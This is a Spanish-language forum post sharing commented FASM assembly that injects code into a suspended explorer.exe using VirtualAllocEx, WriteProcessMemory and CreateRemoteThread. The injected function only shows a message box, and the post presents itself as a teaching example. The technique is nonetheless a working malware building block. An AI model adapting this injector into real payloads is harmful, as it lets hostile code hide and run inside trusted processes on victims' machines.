Bueno, lo primero no sé si esto debe ir aquí o en análisis y diseño de malware, sino no va a aquí que alguien lo mueva
.
Está comentado e intenté escribirlo de forma clara para que sea fácil de comprender.
Saludos

Código (asm) [Seleccionar]
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\
;\\\///\\\///\\\///\\\///\\\Inyección de Código en Memoria //\\\///\\\///\\\///\\\
;\\\///\\\///\\\///\\\///\\\ By Hacker_Zero //\\\///\\\///\\\///\\\
;\\\///\\\///\\\///\\\///\\\ http://www.eduhack.es //\\\///\\\///\\\///\\\
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\
Format PE GUI 4.0
entry start
include 'win32a.inc'
Proceso db 'explorer.exe',0
nUser32 db 'USER32.DLL',0
nMessageBox db 'MessageBoxA',0
hProceso dd ?
DirFuncion dd ?
TamañoDatos dd ?
pInfo PROCESS_INFORMATION
sInfo STARTUPINFO
start:
;Cargamos la USER32.DLL
invoke LoadLibrary,nUser32
;Obtenemos la dirección de MessageBoxA
invoke GetProcAddress,eax,nMessageBox
mov [mMessageBoxA],eax
;Obtenemos la dirección de ExitProcess
push [ExitProcess]
pop [mExitProcess]
;Creamos el Proceso
invoke CreateProcessA,0,Proceso,0,0,0,CREATE_SUSPENDED,0,0,sInfo,pInfo
;Guardamos el Handle
push [pInfo.hProcess]
pop [hProceso]
;Obtenemos el tamaño e la función a inyectar
mov ebx,FIN
sub ebx,FuncionInyectada
mov [TamañoDatos],ebx
;Reservamos espacio en memoria para la función a inyectar
invoke VirtualAllocEx,[hProceso],0,[TamañoDatos],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [DirFuncion],eax
;Escribimos en memoria los datos
invoke WriteProcessMemory,[hProceso],[DirFuncion],FuncionInyectada,[TamañoDatos],0
;Creamos el hilo en el proceso
invoke CreateRemoteThread,[hProceso],0,0,[DirFuncion],0,0,0
;Salimos
invoke ExitProcess,0
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
;\\\///\\\///\\\///\\\///\ Función Que se Inyecta ///\\\///\\\///\\\///
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
proc FuncionInyectada
;Obtenemos la dirección de memoria donde nos estamos ejecutando
pushad
call delta
delta:
pop ebp
sub ebp,delta
push ebp ebp
pop ebx ecx
;Obtenemos la dirección donde se cargó el Mensaje y el Título
add ebx,Mensaje
add ecx,Titulo
;Llamamos a MessageboxA
push 0
push ebx
push ecx
push 0
call [ebp+mMessageBoxA]
;Llamamos a ExitProcess
push 0
call [ebp+mExitProcess]
Titulo db 'Code Inyectado!',0
Mensaje db 'xD',0
;Las direcciones en memoria de las apis
mMessageBoxA dd ?
mExitProcess dd ?
endp
FIN:
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
;\\\///\\\///\\\///\\\/// Fin Función Que se Inyecta //\\\///\\\///\\\///
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
data import
library KERNEL32,'KERNEL32.DLL'
import KERNEL32,\
CreateProcessA,'CreateProcessA',\
CreateRemoteThread,'CreateRemoteThread',\
WriteProcessMemory,'WriteProcessMemory',\
VirtualAllocEx,'VirtualAllocEx',\
ExitProcess,'ExitProcess',\
LoadLibrary,'LoadLibraryA',\
GetProcAddress,'GetProcAddress'
end data
Está comentado e intenté escribirlo de forma clara para que sea fácil de comprender.
Saludos